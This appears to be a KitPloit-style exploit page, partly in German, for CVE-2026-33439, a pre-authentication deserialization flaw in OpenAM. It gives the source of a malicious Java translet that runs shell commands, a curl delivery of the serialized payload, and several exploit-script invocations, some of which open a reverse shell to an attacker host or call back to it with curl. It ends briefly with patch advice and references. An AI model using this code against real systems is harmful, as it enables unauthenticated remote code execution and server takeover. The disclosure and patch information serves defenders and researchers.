cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64

PAYLOAD=$(cat /work/payload_shell.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

root@kitploit:~
---

<div id="exploitation_poc"/>

### ***PoC-Tool-Verwendung***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
</p>

Das Python-Skript automatisiert die gesamte Kette: Es kompiliert EvilTranslet, baut die Gadget-Chain über PayloadBuilder auf, kodiert sie mit URL-sicherem Base64 und liefert sie aus.```bash
# Copy JARs to the exploit directory first

[attacker@lab /work]$

touch Exploit_CVE_2026_33439.py

vi Exploit_CVE_2026_33439.py

python3 Exploit_CVE_2026_33439.py --help

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080



🛡️ Gegenmaßnahmen

  • Patch: Aktualisieren Sie auf OpenAM 16.0.6 oder neuer. Der Fix erweitert WhitelistObjectInputStream auf ClientSession.deserializeAttributes(), passend zum Schutz, der nach CVE-2021-35464 bereits auf ConsoleViewBeanBase.deserializePageAttributes() angewendet wurde.



📚 Referenzen

  • CVE-2026-33439 - NVD

Eintrag der National Vulnerability Database für CVE-2026-33439.

  • GitHub Security Advisory GHSA-2cqq-rpvq-g5qj

Offizielles Advisory mit Analyse der Grundursache, betroffenem Code und Details zur Gadget-Kette.

  • CVE-2021-35464 - ForgeRock AM Pre-Auth RCE

Die Vorgänger-Schwachstelle, die WhitelistObjectInputStream für jato.pageSession einführte.

  • Pre-Auth RCE in ForgeRock OpenAM - PortSwigger Research

Ursprüngliche Forschung zu CVE-2021-35464, die den JATO-Deserialisierungsmechanismus behandelt.

  • CWE-502 - Deserialization of Untrusted Data

MITRE-CWE-Eintrag, der die Schwachstellenklasse beschreibt.